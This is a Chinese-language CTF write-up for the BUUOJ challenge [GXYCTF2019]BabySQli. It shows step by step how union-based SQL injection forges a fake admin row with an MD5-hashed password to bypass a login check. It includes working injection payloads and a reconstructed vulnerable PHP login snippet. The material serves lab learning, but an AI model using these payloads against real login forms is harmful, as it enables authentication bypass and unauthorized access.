SpringMVC資料繫結
阿新 • • 發佈:2021-06-27
[GXYCTF2019]BabySQli
-
試題地址:http://e62eb11b-2012-4ee0-8221-1063edcb04a2.node4.buuoj.cn
-
這個題最主要的點就是一個新的知識點:
當查詢的資料不存在的時候,聯合查詢就會構造一個虛擬的資料
我們舉一個例子:
最初的users表中只有一行資料
我們通過union select聯合查詢就可以構造一行虛擬的資料
所以這個題思路大概是這樣,我們先是判斷出存在admin這個賬戶,然後構造一個自己的密碼123進行登入然後獲取flag
- 我們進入試題地址發現就一個登入框
-
然後我們進行常規的SQL注入,都會出現這個頁面
1' and '1'='1 1' or '1'='1 1' order by 3#
- 然後我們嘗試一下使用者名稱輸出1和admin,發現輸入1會提示
wrong user!
,而輸入admin會題是wrong pass!
,所以我們發現admin是正確使用者名稱,但是我們不知道密碼,我們檢視原始碼會有一個這樣的頁面
這串字元我們經過base32解密,在經過base64解密就會得出:
select * from user where username = '$name'
我們發現後臺SQL查詢語句是這樣的
我們利用union查詢判斷一下有多少個欄位:
1' union select 1,2,3# //密碼隨意輸入
然後出現這樣一個頁面,3個欄位是對的,這個你可以一個一個試,返回結果是不一樣的
然後我們猜測3個欄位大概是這樣id,admin,password,我們測試一下admin在哪個欄位
1' union select 1,'admin',3# //得出admin位於第二個欄位
然後我們就可以利用union查詢構造一個虛擬資料,username=admin,password=123(我們自定義的)
1' union select 1,'admin','202cb962ac59075b964b07152d234b70'# 202cb962ac59075b964b07152d234b70 這個是md5(123)加密之後的資料,因為一般資料庫密碼都會通過md5加密 //注意是 32為小 的加密方式,32為大 的行不通,我也不清楚為啥,到時候回來補上這個點
這裡我們可以大概猜測一下後臺原始碼:
$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}else{
die("wrong pass!");
}
}else{
die("wrong user!");
}
}
然後我們輸入得出flag:
username:1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
password:123
有什麼錯誤或者改進意見歡迎評論或發給我噢!大家一起共同學習!求大佬帶帶我!!!